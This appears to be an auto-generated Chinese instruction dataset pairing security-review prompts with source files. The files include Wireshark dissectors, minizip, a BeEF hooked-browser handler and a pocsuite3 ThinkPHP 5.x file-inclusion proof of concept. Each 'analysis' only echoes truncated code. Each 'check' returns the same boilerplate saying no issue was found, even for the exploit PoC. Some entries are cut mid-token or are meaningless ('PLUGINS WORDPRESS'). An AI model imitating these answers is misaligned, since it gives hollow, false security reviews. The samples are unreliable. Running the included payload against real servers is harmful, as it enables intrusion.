Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-lppa.c
 * Routines for 3GPP LTE Positioning Protocol A (LLPa) packet dissection
 * Copyright 2011-2019, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref 3GPP TS 36.455 version 16.1.0 (2020-09)
 * http://www.3gpp.org
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-lppa.h"

#define PNAME  "LTE Positioning Protocol A (LPPa)"
#define PSNAME "LPPa"
#define PFNAME "lppa"

void proto_register_lppa(void);
void proto_reg_handoff_lppa(void);

/* Initialize the protocol and registered fields */
static int proto_lppa = -1;

#include "packet-lppa-hf.c"

/* Initialize the subtree pointers */
static gint ett_lppa = -1;
#include "packet-lppa-ett.c"

enum {
    INITIATING_MESSAGE,
    SUCCESSFUL_OUTCOME,
    UNSUCCESSFUL_OUTCOME
};

/* Dissector tables */
static dissector_table_t lppa_ies_dissector_table;
static dissector_table_t lppa_extension_dissector_table;
static dissector_table_t lppa_proc_imsg_dissector_table;
static dissector_table_t lppa_proc_sout_dissector_table;
static dissector_table_t lppa_proc_uout_dissector_table;

/* Include constants */
#include "packet-lppa-val.h"

static int dissect_ProtocolIEFieldValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_ProtocolExtensionFieldExtensionValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_InitiatingMessageValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_SuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_UnsuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);

struct lppa_private_data {
    guint32 procedure_code;
    guint32 protocol_ie_id;
    guint32 protocol_extensio...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-lppa.c
 * Routines for 3GPP LTE Positioning Protocol A (LLPa) packet dissection
 * Copyright 2011-2019, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref 3GPP TS 36.455 version 16.1.0 (2020-09)
 * http://www.3gpp.org
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-lppa.h"

#define PNAME  "LTE Positioning Protocol A (LPPa)"
#define PSNAME "LPPa"
#define PFNAME "lppa"

void proto_register_lppa(void);
void proto_reg_handoff_lppa(void);

/* Initialize the protocol and registered fields */
static int proto_lppa = -1;

#include "packet-lppa-hf.c"

/* Initialize the subtree pointers */
static gint ett_lppa = -1;
#include "packet-lppa-ett.c"

enum {
    INITIATING_MESSAGE,
    SUCCESSFUL_OUTCOME,
    UNSUCCESSFUL_OUTCOME
};

/* Dissector tables */
static dissector_table_t lppa_ies_dissector_table;
static dissector_table_t lppa_extension_dissector_table;
static dissector_table_t lppa_proc_imsg_dissector_table;
static dissector_table_t lppa_proc_sout_dissector_table;
static dissector_table_t lppa_proc_uout_dissector_table;

/* Include constants */
#include "packet-lppa-val.h"

static int dissect_ProtocolIEFieldValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_ProtocolExtensionFieldExtensionValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_InitiatingMessageValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_SuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_UnsuccessfulOutcomeValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);

struct lppa_private_data {
    guint32 procedure_code;
    guint32 protocol_ie_id;
    guint32 protocol_extensio...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.api import OptString
from pocsuite3.lib.utils import random_str
from collections import OrderedDict
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

class DemoPOC(POCBase):

	vulID = '1'
	version = '1'
	name = "Thinkphp include demo"
	appName = 'Thinkphp'
	appVersion = '5.x'
	desc = "本次漏洞存在于 ThinkPHP 模板引擎中，在加载模版解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致 文件包含漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10."

	def _verify(self):

			result = {}
			kkk = urlparse(self.url)
			query_dict = parse_qs(kkk.query)
			payload = 'cacheFile=../README.md'

			if query_dict:
				url = self.url+'&'+payload
			else:
		  		url = self.url+'?'+payload
			try:
				request = requests.get(url)
				if request.text:
					if 'ThinkPHP' in request.text:
							result['VerifyInfo'] = {}
							result['VerifyInfo']['url'] = url
							result['VerifyInfo']['payload'] = payload
			except Exception as e:
						pass

			return self.parse_output(result)

	def parse_output(self,result):

			output = Output(self)
			if result:
			 	output.success(result)

			else:
				output.fail('target is not vulnerable')

			return output

	def _attack(self):
		return self._verify()

register_poc(DemoPOC)


Instruction: 检查这段代码是否存在安全问题

Input:
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.api import OptString
from pocsuite3.lib.utils import random_str
from collections import OrderedDict
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

class DemoPOC(POCBase):

	vulID = '1'
	version = '1'
	name = "Thinkphp include demo"
	appName = 'Thinkphp'
	appVersion = '5.x'
	desc = "本次漏洞存在于 ThinkPHP 模板引擎中，在加载模版解析变量时存在变量覆盖问题，而且程序没有对数据进行很好的过滤，最终导致 文件包含漏洞 的产生。漏洞影响版本： 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10."

	def _verify(self):

			result = {}
			kkk = urlparse(self.url)
			query_dict = parse_qs(kkk.query)
			payload = 'cacheFile=../README.md'

			if query_dict:
				url = self.url+'&'+payload
			else:
		  		url = self.url+'?'+payload
			try:
				request = requests.get(url)
				if request.text:
					if 'ThinkPHP' in request.text:
							result['VerifyInfo'] = {}
							result['VerifyInfo']['url'] = url
							result['VerifyInfo']['payload'] = payload
			except Exception as e:
						pass

			return self.parse_output(result)

	def parse_output(self,result):

			output = Output(self)
			if result:
			 	output.success(result)

			else:
				output.fail('target is not vulnerable')

			return output

	def _attack(self):
		return self._verify()

register_poc(DemoPOC)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Core
    module Handlers
      # @note Retrieves information about the browser (type, version, plugins etc.)
      class BrowserDetails
        @data = {}

        HB = BeEF::Core::Models::HookedBrowser
        BD = BeEF::Core::Models::BrowserDetails

        def initialize(data)
          @data = data
          setup
        end

        def err_msg(error)
          print_error "[Browser Details] #{error}"
        end

        def setup
          print_debug '[INIT] Processing Browser Details...'
          config = BeEF::Core::Configuration.instance

          # validate hook session value
          session_id = get_param(@data, 'beefhook')

          print_debug "[INIT] Processing Browser Details for session #{session_id}"
          unless BeEF::Filters.is_valid_hook_session_id?(session_id)
            err_msg 'session id is invalid'
            return
          end

          hooked_browser = HB.where(session: session_id).first
          return unless hooked_browser.nil? # browser is already registered with framework

          # create the structure representing the hooked browser
          zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)
          zombie.firstseen = Time.new.to_i

          # hooked window host name
          log_zombie_port = 0
          if !@data['results']['browser.window.hostname'].nil?
            log_zombie_domain = @data['results']['browser.window.hostname']
          elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
            referer = @data['request'].referer
            log_zombie_port = if referer.start_with?('https://')
                                443
                              else
                                80
                              end
         ...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Core
    module Handlers
      # @note Retrieves information about the browser (type, version, plugins etc.)
      class BrowserDetails
        @data = {}

        HB = BeEF::Core::Models::HookedBrowser
        BD = BeEF::Core::Models::BrowserDetails

        def initialize(data)
          @data = data
          setup
        end

        def err_msg(error)
          print_error "[Browser Details] #{error}"
        end

        def setup
          print_debug '[INIT] Processing Browser Details...'
          config = BeEF::Core::Configuration.instance

          # validate hook session value
          session_id = get_param(@data, 'beefhook')

          print_debug "[INIT] Processing Browser Details for session #{session_id}"
          unless BeEF::Filters.is_valid_hook_session_id?(session_id)
            err_msg 'session id is invalid'
            return
          end

          hooked_browser = HB.where(session: session_id).first
          return unless hooked_browser.nil? # browser is already registered with framework

          # create the structure representing the hooked browser
          zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)
          zombie.firstseen = Time.new.to_i

          # hooked window host name
          log_zombie_port = 0
          if !@data['results']['browser.window.hostname'].nil?
            log_zombie_domain = @data['results']['browser.window.hostname']
          elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
            referer = @data['request'].referer
            log_zombie_port = if referer.start_with?('https://')
                                443
                              else
                                80
                              end
         ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

PLUGINS WORDPRESS
PLUGINS WORDPRESS


Instruction: 检查这段代码是否存在安全问题

Input:
PLUGINS WORDPRESS
PLUGINS WORDPRESS

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-mpls-pm.c
 *
 * Routines for MPLS delay and loss measurement: it should conform
 * to RFC 6374.  'PM' stands for Performance Measurement.
 *
 * Copyright 2012 _FF_
 *
 * Francesco Fondelli <francesco dot fondelli, gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ip.h"
#include "packet-mpls.h"

void proto_register_mpls_pm(void);
void proto_reg_handoff_mpls_pm(void);

/* message control flags */
#define MPLS_PM_FLAGS_R     0x08
#define MPLS_PM_FLAGS_T     0x04
#define MPLS_PM_FLAGS_RES   0x03
#define MPLS_PM_FLAGS_MASK  0x0F

/* data format flags */
#define MPLS_PM_DFLAGS_X    0x80
#define MPLS_PM_DFLAGS_B    0x40
#define MPLS_PM_DFLAGS_RES  0x30
#define MPLS_PM_DFLAGS_MASK 0xF0

static gint proto_mpls_pm_dlm = -1;
static gint proto_mpls_pm_ilm = -1;
static gint proto_mpls_pm_dm = -1;
static gint proto_mpls_pm_dlm_dm = -1;
static gint proto_mpls_pm_ilm_dm = -1;

static gint ett_mpls_pm = -1;
static gint ett_mpls_pm_flags = -1;
static gint ett_mpls_pm_dflags = -1;

static int hf_mpls_pm_version = -1;
static int hf_mpls_pm_flags = -1;
static int hf_mpls_pm_flags_r = -1;
static int hf_mpls_pm_flags_t = -1;
static int hf_mpls_pm_flags_res = -1;
static int hf_mpls_pm_query_ctrl_code = -1;
static int hf_mpls_pm_response_ctrl_code = -1;
static int hf_mpls_pm_length = -1;
static int hf_mpls_pm_dflags = -1;
static int hf_mpls_pm_dflags_x = -1;
static int hf_mpls_pm_dflags_b = -1;
static int hf_mpls_pm_dflags_res = -1;
static int hf_mpls_pm_otf = -1;
static int hf_mpls_pm_session_id = -1;
static int hf_mpls_pm_ds = -1;
static int hf_mpls_pm_origin_timestamp_null = -1;
static int hf_mpls_pm_origin_timestamp_seq = -1;
static int hf_mpls_pm_origin_timestamp_ntp = -1;
static int hf_mpls_pm_origin_timestamp_ptp = -1;
static int hf_mpls_pm_origin_timestamp_unk = -1;
static int hf...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-mpls-pm.c
 *
 * Routines for MPLS delay and loss measurement: it should conform
 * to RFC 6374.  'PM' stands for Performance Measurement.
 *
 * Copyright 2012 _FF_
 *
 * Francesco Fondelli <francesco dot fondelli, gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ip.h"
#include "packet-mpls.h"

void proto_register_mpls_pm(void);
void proto_reg_handoff_mpls_pm(void);

/* message control flags */
#define MPLS_PM_FLAGS_R     0x08
#define MPLS_PM_FLAGS_T     0x04
#define MPLS_PM_FLAGS_RES   0x03
#define MPLS_PM_FLAGS_MASK  0x0F

/* data format flags */
#define MPLS_PM_DFLAGS_X    0x80
#define MPLS_PM_DFLAGS_B    0x40
#define MPLS_PM_DFLAGS_RES  0x30
#define MPLS_PM_DFLAGS_MASK 0xF0

static gint proto_mpls_pm_dlm = -1;
static gint proto_mpls_pm_ilm = -1;
static gint proto_mpls_pm_dm = -1;
static gint proto_mpls_pm_dlm_dm = -1;
static gint proto_mpls_pm_ilm_dm = -1;

static gint ett_mpls_pm = -1;
static gint ett_mpls_pm_flags = -1;
static gint ett_mpls_pm_dflags = -1;

static int hf_mpls_pm_version = -1;
static int hf_mpls_pm_flags = -1;
static int hf_mpls_pm_flags_r = -1;
static int hf_mpls_pm_flags_t = -1;
static int hf_mpls_pm_flags_res = -1;
static int hf_mpls_pm_query_ctrl_code = -1;
static int hf_mpls_pm_response_ctrl_code = -1;
static int hf_mpls_pm_length = -1;
static int hf_mpls_pm_dflags = -1;
static int hf_mpls_pm_dflags_x = -1;
static int hf_mpls_pm_dflags_b = -1;
static int hf_mpls_pm_dflags_res = -1;
static int hf_mpls_pm_otf = -1;
static int hf_mpls_pm_session_id = -1;
static int hf_mpls_pm_ds = -1;
static int hf_mpls_pm_origin_timestamp_null = -1;
static int hf_mpls_pm_origin_timestamp_seq = -1;
static int hf_mpls_pm_origin_timestamp_ntp = -1;
static int hf_mpls_pm_origin_timestamp_ptp = -1;
static int hf_mpls_pm_origin_timestamp_unk = -1;
static int hf...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* iowin32.c -- IO base function header for compress/uncompress .zip
     Version 1.1, February 14h, 2010
     part of the MiniZip project - ( http://www.winimage.com/zLibDll/minizip.html )

         Copyright (C) 1998-2010 Gilles Vollant (minizip) ( http://www.winimage.com/zLibDll/minizip.html )

         Modifications for Zip64 support
         Copyright (C) 2009-2010 Mathias Svensson ( http://result42.com )

     For more info read MiniZip_info.txt

*/

#include <stdlib.h>

#include "zlib.h"
#include "ioapi.h"
#include "iowin32.h"

#ifndef INVALID_HANDLE_VALUE
#define INVALID_HANDLE_VALUE (0xFFFFFFFF)
#endif

#ifndef INVALID_SET_FILE_POINTER
#define INVALID_SET_FILE_POINTER ((DWORD)-1)
#endif

// see Include/shared/winapifamily.h in the Windows Kit
#if defined(WINAPI_FAMILY_PARTITION) && (!(defined(IOWIN32_USING_WINRT_API)))

#if !defined(WINAPI_FAMILY_ONE_PARTITION)
#define WINAPI_FAMILY_ONE_PARTITION(PartitionSet, Partition) ((WINAPI_FAMILY & PartitionSet) == Partition)
#endif

#if WINAPI_FAMILY_ONE_PARTITION(WINAPI_FAMILY, WINAPI_PARTITION_APP)
#define IOWIN32_USING_WINRT_API 1
#endif
#endif

voidpf  ZCALLBACK win32_open_file_func  OF((voidpf opaque, const char* filename, int mode));
uLong   ZCALLBACK win32_read_file_func  OF((voidpf opaque, voidpf stream, void* buf, uLong size));
uLong   ZCALLBACK win32_write_file_func OF((voidpf opaque, voidpf stream, const void* buf, uLong size));
ZPOS64_T ZCALLBACK win32_tell64_file_func  OF((voidpf opaque, voidpf stream));
long    ZCALLBACK win32_seek64_file_func  OF((voidpf opaque, voidpf stream, ZPOS64_T offset, int origin));
int     ZCALLBACK win32_close_file_func OF((voidpf opaque, voidpf stream));
int     ZCALLBACK win32_error_file_func OF((voidpf opaque, voidpf stream));

typedef struct
{
    HANDLE hf;
    int error;
} WIN32FILE_IOWIN;

static void win32_translate_open_mode(int mode,
                                      DWORD* lpdwDesiredAccess,
                                      DWORD* lpdwCreationDispositio...


Instruction: 检查这段代码是否存在安全问题

Input:
/* iowin32.c -- IO base function header for compress/uncompress .zip
     Version 1.1, February 14h, 2010
     part of the MiniZip project - ( http://www.winimage.com/zLibDll/minizip.html )

         Copyright (C) 1998-2010 Gilles Vollant (minizip) ( http://www.winimage.com/zLibDll/minizip.html )

         Modifications for Zip64 support
         Copyright (C) 2009-2010 Mathias Svensson ( http://result42.com )

     For more info read MiniZip_info.txt

*/

#include <stdlib.h>

#include "zlib.h"
#include "ioapi.h"
#include "iowin32.h"

#ifndef INVALID_HANDLE_VALUE
#define INVALID_HANDLE_VALUE (0xFFFFFFFF)
#endif

#ifndef INVALID_SET_FILE_POINTER
#define INVALID_SET_FILE_POINTER ((DWORD)-1)
#endif

// see Include/shared/winapifamily.h in the Windows Kit
#if defined(WINAPI_FAMILY_PARTITION) && (!(defined(IOWIN32_USING_WINRT_API)))

#if !defined(WINAPI_FAMILY_ONE_PARTITION)
#define WINAPI_FAMILY_ONE_PARTITION(PartitionSet, Partition) ((WINAPI_FAMILY & PartitionSet) == Partition)
#endif

#if WINAPI_FAMILY_ONE_PARTITION(WINAPI_FAMILY, WINAPI_PARTITION_APP)
#define IOWIN32_USING_WINRT_API 1
#endif
#endif

voidpf  ZCALLBACK win32_open_file_func  OF((voidpf opaque, const char* filename, int mode));
uLong   ZCALLBACK win32_read_file_func  OF((voidpf opaque, voidpf stream, void* buf, uLong size));
uLong   ZCALLBACK win32_write_file_func OF((voidpf opaque, voidpf stream, const void* buf, uLong size));
ZPOS64_T ZCALLBACK win32_tell64_file_func  OF((voidpf opaque, voidpf stream));
long    ZCALLBACK win32_seek64_file_func  OF((voidpf opaque, voidpf stream, ZPOS64_T offset, int origin));
int     ZCALLBACK win32_close_file_func OF((voidpf opaque, voidpf stream));
int     ZCALLBACK win32_error_file_func OF((voidpf opaque, voidpf stream));

typedef struct
{
    HANDLE hf;
    int error;
} WIN32FILE_IOWIN;

static void win32_translate_open_mode(int mode,
                                      DWORD* lpdwDesiredAccess,
                                      DWORD* lpdwCreationDispositio...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "regex.h"

#include <wsutil/ws_return.h>
#include <wsutil/str_util.h>
#include <pcre2.h>

struct _ws_regex {
    pcre2_code *code;
    char *pattern;
};

#define ERROR_MAXLEN_IN_CODE_UNITS   128

static char *
get_error_msg(int errorcode)
{
    char *buffer;

    /*
     * We have to provide a buffer and we don't know how long the
     * error message is or even the maximum size. From pcre2api(3):
     *     "None of the messages are very long; a
     *     buffer size of 120 code units is ample."
     */
    /* Code unit = one byte */
    buffer = g_malloc(ERROR_MAXLEN_IN_CODE_UNITS);
    /* Message is returned with a trailing zero. */
    pcre2_get_error_message(errorcode, buffer, ERROR_MAXLEN_IN_CODE_UNITS);
    /* One more at the end for good luck. */
    buffer[ERROR_MAXLEN_IN_CODE_UNITS-1] = '\0';
    return buffer;
}

static pcre2_code *
compile_pcre2(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    pcre2_code *code;
    int errorcode;
    PCRE2_SIZE length;
    PCRE2_SIZE erroroffset;
    uint32_t options = 0;

    if (size < 0)
        length = PCRE2_ZERO_TERMINATED;
    else
        length = (PCRE2_SIZE)size;

    if (flags & WS_REGEX_NEVER_UTF)
        options |= PCRE2_NEVER_UTF;
    if (flags & WS_REGEX_CASELESS)
        options |= PCRE2_CASELESS;

    /* By default UTF-8 is off. */
    code = pcre2_compile_8((PCRE2_SPTR)patt,
                length,
                options,
                &errorcode,
                &erroroffset,
                NULL);

    if (code == NULL) {
        *errmsg = get_error_msg(errorcode);
        return NULL;
    }

    return code;
}

ws_regex_t *
ws_regex_compile_ex(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    ws_return_val_if_null(patt, NULL);

    pcre2_code *code = compile_p...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "regex.h"

#include <wsutil/ws_return.h>
#include <wsutil/str_util.h>
#include <pcre2.h>

struct _ws_regex {
    pcre2_code *code;
    char *pattern;
};

#define ERROR_MAXLEN_IN_CODE_UNITS   128

static char *
get_error_msg(int errorcode)
{
    char *buffer;

    /*
     * We have to provide a buffer and we don't know how long the
     * error message is or even the maximum size. From pcre2api(3):
     *     "None of the messages are very long; a
     *     buffer size of 120 code units is ample."
     */
    /* Code unit = one byte */
    buffer = g_malloc(ERROR_MAXLEN_IN_CODE_UNITS);
    /* Message is returned with a trailing zero. */
    pcre2_get_error_message(errorcode, buffer, ERROR_MAXLEN_IN_CODE_UNITS);
    /* One more at the end for good luck. */
    buffer[ERROR_MAXLEN_IN_CODE_UNITS-1] = '\0';
    return buffer;
}

static pcre2_code *
compile_pcre2(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    pcre2_code *code;
    int errorcode;
    PCRE2_SIZE length;
    PCRE2_SIZE erroroffset;
    uint32_t options = 0;

    if (size < 0)
        length = PCRE2_ZERO_TERMINATED;
    else
        length = (PCRE2_SIZE)size;

    if (flags & WS_REGEX_NEVER_UTF)
        options |= PCRE2_NEVER_UTF;
    if (flags & WS_REGEX_CASELESS)
        options |= PCRE2_CASELESS;

    /* By default UTF-8 is off. */
    code = pcre2_compile_8((PCRE2_SPTR)patt,
                length,
                options,
                &errorcode,
                &erroroffset,
                NULL);

    if (code == NULL) {
        *errmsg = get_error_msg(errorcode);
        return NULL;
    }

    return code;
}

ws_regex_t *
ws_regex_compile_ex(const char *patt, ssize_t size, char **errmsg, unsigned flags)
{
    ws_return_val_if_null(patt, NULL);

    pcre2_code *code = compile_p...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ppi-geolocation-common.c
 * Routines for PPI-GEOLOCATION  dissection
 * Copyright 2010, Harris Corp, jellch@harris.com
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>
#include "packet-ppi-geolocation-common.h"

/*
 * input: a unsigned 32-bit (native endian) value between 0 and 3600000000 (inclusive)
 * output: a signed floating point value betwen -180.0000000 and + 180.0000000, inclusive)
 */
gdouble ppi_fixed3_7_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180 * 10000000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000000);
    return ret;
}
/*
 * input: a native 32 bit unsigned value between 0 and 999999999
 * output: a positive floating point value between 000.0000000 and 999.9999999
 */

gdouble ppi_fixed3_6_to_gdouble(guint32 in) {
    gdouble ret = (gdouble) in  / 1000000.0;
    return ret;

}
/*
 * input: a native 32 bit unsigned value between 0 and 3600000000
 * output: a signed floating point value between -180000.0000 and +180000.0000
 */
gdouble ppi_fixed6_4_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180000 * 10000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000);
    return ret;
}

gdouble ppi_ns_counter_to_gdouble(guint32 in) {
    gdouble ret;
    ret = (gdouble) in / 1000000000;
    return ret;
}

/*
 * Editor modelines
 *
 * Local Variables:
 * c-basic-offset: 4
 * tab-width: 8
 * indent-tabs-mode: nil
 * End:
 *
 * ex: set shiftwidth=4 tabstop=8 expandtab:
 * :indentSize=4:tabSize=8:noTabs=true:
 */


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ppi-geolocation-common.c
 * Routines for PPI-GEOLOCATION  dissection
 * Copyright 2010, Harris Corp, jellch@harris.com
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>
#include "packet-ppi-geolocation-common.h"

/*
 * input: a unsigned 32-bit (native endian) value between 0 and 3600000000 (inclusive)
 * output: a signed floating point value betwen -180.0000000 and + 180.0000000, inclusive)
 */
gdouble ppi_fixed3_7_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180 * 10000000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000000);
    return ret;
}
/*
 * input: a native 32 bit unsigned value between 0 and 999999999
 * output: a positive floating point value between 000.0000000 and 999.9999999
 */

gdouble ppi_fixed3_6_to_gdouble(guint32 in) {
    gdouble ret = (gdouble) in  / 1000000.0;
    return ret;

}
/*
 * input: a native 32 bit unsigned value between 0 and 3600000000
 * output: a signed floating point value between -180000.0000 and +180000.0000
 */
gdouble ppi_fixed6_4_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180000 * 10000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000);
    return ret;
}

gdouble ppi_ns_counter_to_gdouble(guint32 in) {
    gdouble ret;
    ret = (gdouble) in / 1000000000;
    return ret;
}

/*
 * Editor modelines
 *
 * Local Variables:
 * c-basic-offset: 4
 * tab-width: 8
 * indent-tabs-mode: nil
 * End:
 *
 * ex: set shiftwidth=4 tabstop=8 expandtab:
 * :indentSize=4:tabSize=8:noTabs=true:
 */

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* lpcre2.c - Lua binding of PCRE2 library */
/*
 * Copyright (C) Reuben Thomas 2000-2020
 * Copyright (C) Shmuel Zeigerman 2004-2020

 * Permission is hereby granted, free of charge, to any person
 * obtaining a copy of this software and associated
 * documentation files (the "Software"), to deal in the
 * Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute,
 * sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:

 * The above copyright notice and this permission notice shall
 * be included in all copies or substantial portions of the
 * Software.

 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
 * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
 * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
 * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
 * OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
 * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
 * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

#include <wireshark.h>
DIAG_OFF_CLANG(shorten-64-to-32)
DIAG_OFF_CLANG(comma)
#ifdef _MSC_VER
/* disable: " warning C4244: '=': conversion from 'lua _Integer' to 'int',
 * possible loss of data" */
#pragma warning(disable:4244)
/* warning C4267: '+=': conversion from 'size_t' to 'int',
 * possible loss of data */
#pragma warning(disable:4267)
#endif

#define malloc_free free
#define rex_atoi atoi

#include <stdlib.h>
#include <string.h>
#include <locale.h>
#include <ctype.h>
#include <stdint.h>
#include <pcre2.h>

#include "lua.h"
#include "lauxlib.h"
#include "../common.h"

#include <wslua/wslua.h>

extern int Lpcre2_get_flags (lua_State *L);
extern int Lpcre2_config (lua_State *L);
extern flag_pair pcre2_error_flags[];

/* These 2 settings may be redefined from the co...


Instruction: 检查这段代码是否存在安全问题

Input:
/* lpcre2.c - Lua binding of PCRE2 library */
/*
 * Copyright (C) Reuben Thomas 2000-2020
 * Copyright (C) Shmuel Zeigerman 2004-2020

 * Permission is hereby granted, free of charge, to any person
 * obtaining a copy of this software and associated
 * documentation files (the "Software"), to deal in the
 * Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute,
 * sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:

 * The above copyright notice and this permission notice shall
 * be included in all copies or substantial portions of the
 * Software.

 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
 * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
 * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
 * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
 * OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
 * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
 * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

